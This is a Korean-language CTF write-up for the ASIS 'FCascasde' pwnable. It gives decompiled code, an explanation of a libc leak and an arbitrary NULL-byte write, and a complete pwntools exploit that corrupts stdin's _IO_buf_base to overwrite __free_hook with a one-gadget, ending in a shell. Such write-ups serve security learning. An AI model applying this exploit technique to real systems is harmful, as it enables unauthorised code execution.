본문으로 바로가기

ASIS CTF FCascasde ( write - up )

Content

  • Log Error ( arbitrary address off by one )

  • _IO_buf_base Exploit


Analysis

void __fastcall __noreturn interaction(void *buf)
{
 while ( 1 )
{
   write(1, "> ", 2uLL);
   read(0, buf, 0x128uLL);
   if ( strncmp(buf, "11010110", 8uLL) || chk )
  {
     if ( !strncmp(buf, "10110101", 8uLL) )
       ccloud();
  }
   else
  {
     chk = 1;
     leak(buf);
  }
}
}

아래와 같이 몇가지 기능을 하는 프로그램이다.

  1. 11010110을 입력하면 leak()실행

    • 단, leak()쪽 루틴은 단 한번만 사용가능

  2. 10110101을 입력하면 ccloud()실행


leak()

int __fastcall leak(void *buf)
{
 int result; // eax
 size_t size; // rax

 while ( 1 )
{
   write(1, "> ", 2uLL);
   read(0, buf, 0x128uLL);
   result = strncmp(buf, "11111111", 8uLL);
   if ( !result )
     break;
   size = strlen(buf);
   write(1, buf, size);
}
 return result;
}

11111111을 입력하기 전까지 최대 0x128만큼 입력받을 수 있다.

buf의 크기는 0x90이므로 return address까지 덮을 수 있다.

그래서 return address직전까지 입력하면 strlen함수에서 size를 크게 잡아주기 때문에 write함수를 통하여 __libc_start_main + 240의 주소를 leak 할 수 있다.


ccloud

void __noreturn ccloud()
{
 size_t size; // [rsp+18h] [rbp-18h]
 void *buf; // [rsp+20h] [rbp-10h]
 unsigned __int64 canary; // [rsp+28h] [rbp-8h]

 canary = __readfsqword(0x28u);
 for ( buf = 0LL; ; free(buf) )
{
   write(1, "> ", 2uLL);
   _isoc99_scanf("%lu", &size);
   getchar();
   buf = malloc(size);
   write(1, "> ", 2uLL);
   read(0, buf, size);
   *(buf + size - 1) = '\0';
}
}

원하는만큼 size를 입력받고, 그곳에 값을 채워넣을 수 있다.

하지만, 값이 들어가면 바로 free된다.

그리고 malloc실패에 대한 예외처리를 해주지 않아 취약점이 발생하게 된다.

*(buf + size - 1) = '\0';에 의해 원하는 주소에 NULL을 삽입할 수 있다.


Exploit

from pwn import *

#context.log_level = "debug"

binary = "./FCascasde"
e = ELF(binary)
libc = e.libc
r = process(binary)

go = lambda x : r.sendafter("> ",str(x))
go2 = lambda x : r.sendlineafter("> ",str(x))

go(11010110)
go("A"*(128 + 8 + 1))

go("A"*(128 + 8 + 8 + 8))
libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base -= libc.symbols["__libc_start_main"] + 240
log.info("libc_base : " + hex(libc_base))

buf_base = libc_base + libc.symbols["_IO_2_1_stdin_"] + 56
hook = libc_base + libc.symbols["__free_hook"]
log.info("buf_base : " + hex(buf_base))

go(11111111)
go(10110101)

pause()

go2(-(0x10000000000000000 - (buf_base + 1)))
go(p64(hook) * 4 + p64(hook + 0x10) + p64(0))
go("\x00" * 0xa8 + p64(libc_base + 0x4526a))

go(11111111)

r.interactive()
  1. _IO_buf_baseLSBNULL로 덮음

  2. _IO_buf_base의 주소가 _IO_write_base의 주소가 됨

  3. scanf를 사용하여 값을 입력할 때 값을 _IO_buf_base에 저장함

  4. 하지만 이 값에 NULL이 들어가 _IO_write_base의 주소로 바뀌었음.

  5. libc영역(_IO_write_base)쪽에 값을 쓸 수 있음

  6. _IO_buf_base__free_hook으로 덮음

  7. scanf로 값을 입력할 때 oneshot gadget 입력

  8. Get shell


주의해야할 점은 scanf("%lu",&a);를 사용하기 때문에, _IO_buf_base의 마지막 바이트에 NULL로 덮을 때 integer underflow를 이용하여 특정 주소를 가르키게 해야한다.

-(0x10000000000000000 - 특정 주소)

이런식이다.


Shell

juntae@ubuntu:~/ctf/asis/FCascasde$ p ex.py 
[*] '/home/juntae/ctf/asis/FCascasde/FCascasde'
  Arch:     amd64-64-little
  RELRO:   Full RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Starting local process './FCascasde': pid 3548
[*] libc_base : 0x7ffbc6652000
[*] buf_base : 0x7ffbc6a16918
[*] Paused (press any to continue)
[*] Switching to interactive mode
> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > $
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae),


'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글

[SECCON] video player ( write-up )  (0) 2019.12.11
[ASIS CTF] asvdb ( write-up )  (0) 2019.12.08
[ASIS CTF] TinyPwn ( write-up )  (0) 2019.12.03
[ASIS CTF] cat ( write-up )  (0) 2019.12.03
[Rctf] babyheap ( write-up )  (0) 2019.11.04